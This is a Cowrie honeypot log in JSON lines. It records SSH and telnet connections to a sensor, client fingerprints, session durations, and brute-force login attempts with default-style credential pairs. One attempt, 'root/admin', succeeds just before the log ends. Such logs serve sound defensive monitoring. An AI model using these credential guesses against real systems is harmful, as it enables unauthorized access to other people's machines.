{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:39.609077Z","src_ip":"198.98.56.227","session":"7e3f12ac5100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:40.002386Z","src_ip":"198.98.56.227","session":"7e3f12ac5100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin/123456","message":"login attempt [root/admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:41.003608Z","src_ip":"198.98.56.227","session":"7e3f12ac5100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:42.019423Z","src_ip":"198.98.56.227","session":"7e3f12ac5100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":32824,"dst_ip":"10.17.0.5","dst_port":23,"session":"3acbaf4b5ec8","protocol":"telnet","message":"New connection: 144.91.112.66:32824 (10.17.0.5:23) [session: 3acbaf4b5ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:42.684934Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47642,"dst_ip":"159.203.135.109","dst_port":23,"session":"6614fe91b286","protocol":"telnet","message":"New connection: 38.60.198.128:47642 (159.203.135.109:23) [session: 6614fe91b286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:44.164552Z"}
{"eventid":"cowrie.session.closed","duration":38.590805768966675,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:45.780566Z","src_ip":"38.60.198.128","session":"ea164d632883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.633246183395386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:47.056127Z","src_ip":"144.91.112.66","session":"67c6917ada87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.42484951019287,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:47.811421Z","src_ip":"192.211.53.160","session":"652d8b71959e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.23788928985596,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:51.244452Z","src_ip":"192.211.53.160","session":"ad31b21ab366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.65630745887756,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:52.135129Z","src_ip":"192.211.53.160","session":"0dac644f565a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.724061489105225,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:52.724633Z","src_ip":"192.211.53.160","session":"67bf956bda0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.26371121406555,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:56.948825Z","src_ip":"38.54.119.93","session":"39d5d3275384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.2605504989624,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:57.015309Z","src_ip":"192.211.53.160","session":"2e89384085a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33416,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9046be8e4f","protocol":"telnet","message":"New connection: 38.60.198.128:33416 (159.203.135.109:23) [session: ea9046be8e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:57.916454Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36854,"dst_ip":"159.203.135.109","dst_port":23,"session":"0616a009194a","protocol":"telnet","message":"New connection: 38.60.198.128:36854 (159.203.135.109:23) [session: 0616a009194a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:00.531984Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41240,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb78a3321c9","protocol":"telnet","message":"New connection: 38.60.198.128:41240 (159.203.135.109:23) [session: dcb78a3321c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:00.630269Z"}
{"eventid":"cowrie.session.closed","duration":37.93476724624634,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:01.424280Z","src_ip":"38.60.198.128","session":"3cc28b386bad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.450111865997314,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:01.988581Z","src_ip":"38.60.198.128","session":"3f488fdc4c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9144041538238525,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:02.446215Z","src_ip":"38.60.198.128","session":"0616a009194a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47770,"dst_ip":"159.203.135.109","dst_port":23,"session":"47b2b56f4728","protocol":"telnet","message":"New connection: 38.60.198.128:47770 (159.203.135.109:23) [session: 47b2b56f4728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:06.003252Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46008,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c5bce1e27c","protocol":"telnet","message":"New connection: 38.60.198.128:46008 (159.203.135.109:23) [session: 90c5bce1e27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:07.746123Z"}
{"eventid":"cowrie.session.closed","duration":40.26003384590149,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:08.207489Z","src_ip":"38.60.198.128","session":"47872c985289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.194.222.110","src_port":52563,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9ce827448d9","protocol":"telnet","message":"New connection: 115.194.222.110:52563 (159.203.135.109:23) [session: a9ce827448d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:11.924844Z"}
{"eventid":"cowrie.session.closed","duration":41.16489124298096,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:12.843411Z","src_ip":"38.60.198.128","session":"a1cd156bc331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180049180984497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:13.864849Z","src_ip":"144.91.112.66","session":"3acbaf4b5ec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.48812246322632,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:20.652565Z","src_ip":"38.60.198.128","session":"6614fe91b286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":49580,"dst_ip":"10.17.0.5","dst_port":23,"session":"78301466cafb","protocol":"telnet","message":"New connection: 144.91.112.66:49580 (10.17.0.5:23) [session: 78301466cafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:23.751078Z"}
{"eventid":"cowrie.session.closed","duration":12.734153985977173,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:24.658876Z","src_ip":"115.194.222.110","session":"a9ce827448d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45492,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ea4f0b1353d","protocol":"telnet","message":"New connection: 38.60.198.128:45492 (159.203.135.109:23) [session: 7ea4f0b1353d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:27.773681Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":34282,"dst_ip":"10.17.0.5","dst_port":23,"session":"7292b245959a","protocol":"telnet","message":"New connection: 144.91.112.66:34282 (10.17.0.5:23) [session: 7292b245959a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:28.647217Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35934,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb8c80fcf08","protocol":"telnet","message":"New connection: 144.91.112.66:35934 (10.17.0.5:23) [session: 0eb8c80fcf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:29.517089Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58810,"dst_ip":"10.17.0.5","dst_port":23,"session":"09fe79152ce9","protocol":"telnet","message":"New connection: 45.81.23.16:58810 (10.17.0.5:23) [session: 09fe79152ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:33.217438Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58814,"dst_ip":"10.17.0.5","dst_port":23,"session":"f22356f1fb37","protocol":"telnet","message":"New connection: 45.81.23.16:58814 (10.17.0.5:23) [session: f22356f1fb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:33.787140Z"}
{"eventid":"cowrie.session.closed","duration":34.437039375305176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:35.067183Z","src_ip":"38.60.198.128","session":"dcb78a3321c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52448,"dst_ip":"159.203.135.109","dst_port":23,"session":"a067aaf3a3ec","protocol":"telnet","message":"New connection: 38.60.198.128:52448 (159.203.135.109:23) [session: a067aaf3a3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:35.755252Z"}
{"eventid":"cowrie.session.closed","duration":40.0504047870636,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:37.966726Z","src_ip":"38.60.198.128","session":"ea9046be8e4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59924,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f7c3cee7dd","protocol":"telnet","message":"New connection: 38.60.198.128:59924 (159.203.135.109:23) [session: 24f7c3cee7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:40.181585Z"}
{"eventid":"cowrie.session.closed","duration":36.440231800079346,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:44.186233Z","src_ip":"38.60.198.128","session":"90c5bce1e27c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.376540422439575,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:45.379680Z","src_ip":"38.60.198.128","session":"47b2b56f4728","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":44816,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ab61ce6e9c","protocol":"ssh","message":"New connection: 198.98.56.227:44816 (10.17.0.5:22) [session: 52ab61ce6e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:46.240692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:46.254684Z","src_ip":"198.98.56.227","session":"52ab61ce6e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.10879397392273,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:46.326096Z","src_ip":"45.81.23.16","session":"09fe79152ce9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:46.553735Z","src_ip":"198.98.56.227","session":"52ab61ce6e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"davidvlad10","message":"login attempt [ubuntu/davidvlad10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:47.442950Z","src_ip":"198.98.56.227","session":"52ab61ce6e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:48.454290Z","src_ip":"198.98.56.227","session":"52ab61ce6e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50340,"dst_ip":"10.17.0.5","dst_port":23,"session":"2942f1ff3ad9","protocol":"telnet","message":"New connection: 45.81.23.16:50340 (10.17.0.5:23) [session: 2942f1ff3ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:48.469761Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54740,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc5046948bc","protocol":"telnet","message":"New connection: 192.211.53.160:54740 (159.203.135.109:23) [session: bdc5046948bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:49.380226Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.249.175.239","src_port":38060,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb7d7eca7514","protocol":"telnet","message":"New connection: 177.249.175.239:38060 (159.203.135.109:23) [session: fb7d7eca7514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:53.555264Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48754,"dst_ip":"159.203.135.109","dst_port":23,"session":"61d6953258a0","protocol":"telnet","message":"New connection: 38.60.198.128:48754 (159.203.135.109:23) [session: 61d6953258a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:54.131932Z"}
{"eventid":"cowrie.session.closed","duration":30.985544681549072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:54.736521Z","src_ip":"144.91.112.66","session":"78301466cafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.214.173.79","src_port":36867,"dst_ip":"159.203.135.109","dst_port":22,"session":"4070e3f4aa28","protocol":"ssh","message":"New connection: 181.214.173.79:36867 (159.203.135.109:22) [session: 4070e3f4aa28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:57.482574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:57.487536Z","src_ip":"181.214.173.79","session":"4070e3f4aa28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4a3e3c55af41b23589ff4c9d6aee4404","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,mlkem1024nistp384-sha384,mlkem768nistp256-sha256,curve448-sha512,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group18-sha512,diffie-hellman-group17-sha512,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-ctr,3des-cbc,blowfish-ctr,blowfish-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","mlkem1024nistp384-sha384","mlkem768nistp256-sha256","curve448-sha512","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group18-sha512","diffie-hellman-group17-sha512","diffie-hellman-group16-sha512","diffie-hellman-group15-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed448","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-ctr","3des-cbc","blowfish-ctr","blowfish-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4a3e3c55af41b23589ff4c9d6aee4404","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:57.624537Z","src_ip":"181.214.173.79","session":"4070e3f4aa28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54560,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b57d5f4740","protocol":"telnet","message":"New connection: 38.60.198.128:54560 (159.203.135.109:23) [session: 43b57d5f4740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:58.566920Z"}
{"eventid":"cowrie.session.closed","duration":10.813400506973267,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:59.283063Z","src_ip":"45.81.23.16","session":"2942f1ff3ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846609115600586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:59.493717Z","src_ip":"144.91.112.66","session":"7292b245959a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55832,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc4ca17b17cb","protocol":"telnet","message":"New connection: 38.60.198.128:55832 (159.203.135.109:23) [session: fc4ca17b17cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:24:59.607119Z"}
{"eventid":"cowrie.session.closed","duration":30.763713598251343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:00.280691Z","src_ip":"144.91.112.66","session":"0eb8c80fcf08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56940,"dst_ip":"159.203.135.109","dst_port":23,"session":"54383913534a","protocol":"telnet","message":"New connection: 38.60.198.128:56940 (159.203.135.109:23) [session: 54383913534a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:00.383835Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51244,"dst_ip":"159.203.135.109","dst_port":23,"session":"eddc6c73035c","protocol":"telnet","message":"New connection: 38.60.198.128:51244 (159.203.135.109:23) [session: eddc6c73035c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:01.234183Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56030,"dst_ip":"159.203.135.109","dst_port":23,"session":"0700352f0c0a","protocol":"telnet","message":"New connection: 38.60.198.128:56030 (159.203.135.109:23) [session: 0700352f0c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:01.787251Z"}
{"eventid":"cowrie.session.closed","duration":13.405333757400513,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:06.960486Z","src_ip":"177.249.175.239","session":"fb7d7eca7514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.27088284492493,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:08.044443Z","src_ip":"38.60.198.128","session":"7ea4f0b1353d","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:12.544553Z","src_ip":"181.214.173.79","session":"4070e3f4aa28","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:12.860682Z","src_ip":"181.214.173.79","session":"4070e3f4aa28","protocol":"ssh"}
